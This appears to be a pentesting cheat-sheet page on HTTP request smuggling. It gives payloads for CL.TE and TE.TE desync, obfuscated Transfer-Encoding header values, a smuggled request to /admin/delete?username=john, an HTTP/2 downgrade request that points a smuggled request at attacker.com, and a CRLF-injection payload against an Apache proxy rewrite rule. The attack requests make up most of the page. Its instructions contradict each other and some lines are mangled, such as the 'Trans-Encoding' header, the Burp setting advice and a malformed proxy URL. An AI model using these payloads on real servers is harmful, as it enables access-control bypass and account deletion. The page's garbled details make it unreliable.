If we change "Content-Length" to "Transfer-Encoding" as follow, the data is sent in chunks to server. Each chunk consists of the chunk size in bytes (it is expressed in hexadecimal).
The message is terminated with a chunk of size zero.
The front-end server uses “Trans-Encoding” header and the back-end server uses “Content-Length” header.
Send the following request twice.
If you use BurpSuite, check the “Update Content-Length” option is unchecked to avoid BurpSuite automatically changes the Content-Length depending on data sent.
If the response delays, we may be able to request smuggling.
Both the front-end server and the back-end server support the “Transfer-Encoding” header but one of the servers can be induced not to process it by obfuscating the header.
First off, if you're using Burp Suite, note that enabling the "Update Content-Length" in the Burp Repeater option. The sequence is Request 1 -> Request 2.
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Copied!
# Request 1
POST / HTTP/1.1
Host: example.com
Cookie: key=value
Connection: keep-alive
Content-Length: 0
GET /admin/delete?username=john
Foo: x
# -------------------------------------------------
# Request 2
GET / HTTP/1.1
Host: example.com
Cookie: key=value
Connection: close
Copied!
POST / HTTP/2
Host: example.com
Content-Length: 0
GET /exploit HTTP/1.1
Host: attacker.com
Content-Length: 5
x=1
Copied!
RewriteEngine on
RewriteRule "^/products/(.*)" "http://127.0.0.1:8080/?productId=$1" [P]
ProxyPassReverse "/" "http://127.0.0.1:8080:/"
Copied!
GET /products/1%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
# It means the following:
#
# GET /products/1 HTTP/1.1
# Host: 127.0.0.1
#
# GET /SMUGGLED HTTP/1.1
Copied!